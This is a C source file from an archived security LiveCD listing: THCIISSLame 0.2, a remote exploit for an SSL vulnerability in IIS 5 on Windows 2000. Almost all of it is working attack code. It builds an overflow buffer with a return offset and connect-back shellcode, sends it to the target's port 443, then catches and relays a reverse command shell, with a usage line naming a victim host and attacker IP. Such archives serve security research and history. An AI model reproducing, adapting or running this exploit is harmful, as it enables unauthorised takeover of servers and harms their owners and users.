home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / THCIISSLame.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  247 lines
  1. /*****************************************************************************/
  2. /* THCIISSLame 0.2 - IIS 5 SSL remote root exploit                           */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
  4. /* THC PUBLIC SOURCE MATERIALS                                               */
  5. /*                                                                           */
  6. /* Bug was found by Internet Security Systems                                */
  7. /* Reversing credits of the bug go to Halvar Flake                           */
  8. /*                                                                           */
  9. /* compile with MS Visual C++ : cl THCIISSLame.c                             */
  10. /*                                                                           */
  11. /* This little update uses a connectback shell !                             */
  12. /*                                                                           */
  13. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
  14. /* scut, stealth, FtR and Random                                             */
  15. /*****************************************************************************/
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <winsock2.h>
  21.  
  22. #pragma comment(lib, "ws2_32.lib")
  23.  
  24. #define jumper    "\xeb\x0f"
  25. #define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
  26.  
  27. char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
  28.  
  29. char shellcode[] =
  30. "\xeb\x25\x7a\x69\x7f\x00\x00\x01\x02\x06\x6c\x59\x6c\x59\xf8"
  31. "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
  32. "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
  33. "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  34. "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
  35. "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
  36. "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
  37. "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
  38. "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
  39. "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
  40. "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
  41. "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
  42. "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x89\xce\x31\xdb\x53"
  43. "\x53\x53\x53\x56\x46\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30"
  44. "\x6a\x10\x55\x57\xff\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55"
  45. "\x55\xff\x55\xec\x8d\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65"
  46. "\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57"
  47. "\x53\x53\xfe\xca\x01\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88"
  48. "\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff"
  49. "\x55\xf0\x6a\xff\xff\x55\xe4";
  50.  
  51. void usage();
  52. void shell(int sock);
  53.  
  54. int main(int argc, char *argv[])
  55. {  
  56.   unsigned int i,sock,sock2,sock3,addr,rc,len=16;
  57.   unsigned char *badbuf,*p;
  58.   unsigned long offset = 0x6741a1cd;
  59.   unsigned long XOR = 0xffffffff;
  60.  
  61.   unsigned short cbport;
  62.   unsigned long  cbip;
  63.  
  64.   struct sockaddr_in mytcp;
  65.   struct hostent * hp;
  66.   WSADATA wsaData;
  67.  
  68.   printf("\nTHCIISSLame v0.2 - IIS 5.0 SSL remote root exploit\n");
  69.   printf("tested on Windows 2000 Server german/english SP4\n");
  70.   printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
  71.  
  72.   if(argc<4 || argc>4)
  73.    usage();
  74.  
  75.   badbuf = malloc(327);
  76.   memset(badbuf,0,327);
  77.  
  78.   printf("\n[*] building buffer\n");
  79.  
  80.   p = badbuf;
  81.  
  82.   memcpy(p,sslshit,sizeof(sslshit));
  83.  
  84.   p+=sizeof(sslshit)-1;
  85.   
  86.   strcat(p,jumper);
  87.  
  88.   strcat(p,greetings_to_microsoft);
  89.  
  90.   offset^=XOR;
  91.   strncat(p,(unsigned char *)&offset,4);
  92.  
  93.   cbport = htons((unsigned short)atoi(argv[3]));
  94.   cbip = inet_addr(argv[2]);
  95.   memcpy(&shellcode[2],&cbport,2);
  96.   memcpy(&shellcode[4],&cbip,4);
  97.  
  98.   strcat(p,shellcode);
  99.   
  100.   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  101.   {
  102.    printf("WSAStartup failed !\n");
  103.    exit(-1);
  104.   }
  105.   
  106.   hp = gethostbyname(argv[1]);
  107.  
  108.   if (!hp){
  109.    addr = inet_addr(argv[1]);
  110.   }
  111.   if ((!hp)  && (addr == INADDR_NONE) )
  112.   {
  113.    printf("Unable to resolve %s\n",argv[1]);
  114.    exit(-1);
  115.   }
  116.  
  117.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  118.   if (!sock)
  119.   { 
  120.    printf("socket() error...\n");
  121.    exit(-1);
  122.   }
  123.   
  124.   if (hp != NULL)
  125.    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  126.   else
  127.    mytcp.sin_addr.s_addr = addr;
  128.  
  129.   if (hp)
  130.    mytcp.sin_family = hp->h_addrtype;
  131.   else
  132.    mytcp.sin_family = AF_INET;
  133.  
  134.   mytcp.sin_port=htons(443);
  135.  
  136.   printf("[*] connecting the target\n");
  137.  
  138.   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  139.   if(rc==0)
  140.   {
  141.       send(sock,badbuf,326,0);
  142.       printf("[*] exploit send\n");
  143.       Sleep(500);
  144.   
  145.       mytcp.sin_addr.s_addr = 0;
  146.       mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
  147.  
  148.       sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  149.       
  150.       rc=bind(sock2,(struct sockaddr *)&mytcp,16);
  151.       if(rc!=0)
  152.       {
  153.        printf("bind error() %d\n",WSAGetLastError());
  154.        exit(-1);
  155.       }
  156.    
  157.       rc=listen(sock2,1);
  158.       if(rc!=0)
  159.       {
  160.        printf("listen error()\n");
  161.        exit(-1);
  162.       }
  163.  
  164.       printf("[*] waiting for shell\n");
  165.       sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); 
  166.       if(sock3)
  167.       { 
  168.        printf("[*] Exploit successful ! Have fun !\n");
  169.        printf("[*] --------------------------------------------------------------------\n\n");
  170.        shell(sock3);
  171.       }
  172.   }
  173.   else
  174.   {
  175.    printf("\nCan't connect to ssl port 443!\n");
  176.    exit(-1);
  177.   }
  178.   
  179.   shutdown(sock,1);
  180.   closesocket(sock);
  181.   shutdown(sock,2);
  182.   closesocket(sock2);
  183.   shutdown(sock,3);
  184.   closesocket(sock3);
  185.  
  186.   free(badbuf);
  187.  
  188.   exit(0);
  189. }
  190.  
  191. void usage()
  192. {
  193.  unsigned int a;
  194.  printf("\nUsage:  <victim-host> <connectback-ip> <connectback port>\n");
  195.  printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
  196.  exit(0);
  197. }
  198.  
  199. void shell(int sock)
  200. {
  201.  int l;
  202.  char buf[1024];
  203.  struct timeval time;
  204.  unsigned long ul[2];
  205.  
  206.  time.tv_sec = 1;
  207.  time.tv_usec = 0;
  208.  
  209.  while (1)
  210.  {
  211.   ul[0] = 1;
  212.   ul[1] = sock;
  213.  
  214.   l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  215.   if(l == 1)
  216.   {      
  217.    l = recv (sock, buf, sizeof (buf), 0);
  218.    if (l <= 0)
  219.    {
  220.     printf ("bye bye...\n");
  221.     return;
  222.    }
  223.   l = write (1, buf, l);
  224.    if (l <= 0)
  225.    {
  226.     printf ("bye bye...\n");
  227.     return;
  228.    }
  229.   }
  230.   else
  231.   {
  232.    l = read (0, buf, sizeof (buf));
  233.    if (l <= 0)
  234.    {
  235.     printf("bye bye...\n");
  236.     return;
  237.    }
  238.    l = send(sock, buf, l, 0);
  239.    if (l <= 0)
  240.    {
  241.     printf("bye bye...\n");
  242.     return;
  243.    }
  244.   }
  245.  }
  246. }
  247.